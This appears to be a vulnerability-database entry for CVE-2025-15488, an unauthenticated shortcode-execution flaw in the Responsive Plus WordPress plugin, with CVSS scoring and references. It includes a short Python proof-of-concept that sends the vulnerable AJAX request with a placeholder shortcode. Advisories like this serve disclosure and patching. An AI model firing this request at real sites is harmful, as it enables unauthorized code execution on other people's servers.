CVE-2025-15488

Description

The Responsive Plus WordPress plugin before 3.4.3 is vulnerable to arbitrary shortcode execution due to the software allowing unauthenticated users to execute the update_responsive_woo_free_shipping_left_shortcode AJAX action that does not properly validate the content_rech_data parameter before processing it as a shortcode.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Responsive Plus < 3.4.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # Target endpoint for WordPress AJAX
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload data
    # The 'action' parameter triggers the vulnerable function
    # The 'content_rech_data' contains the malicious shortcode
    data = {
        "action": "update_responsive_woo_free_shipping_left_shortcode",
        "content_rech_data": "[malicious_shortcode]" 
    }
    
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            print(f"[+] Request sent successfully to {url}")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print(f"[-] Failed to send request, status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-15488
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-15488
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-15488/
[4] VulDB https://vuldb.com/cve/CVE-2025-15488
[5] https://wpscan.com/vulnerability/80ce0f88-3065-48c4-a491-b70e067ce4d7/

Raw JSON Data

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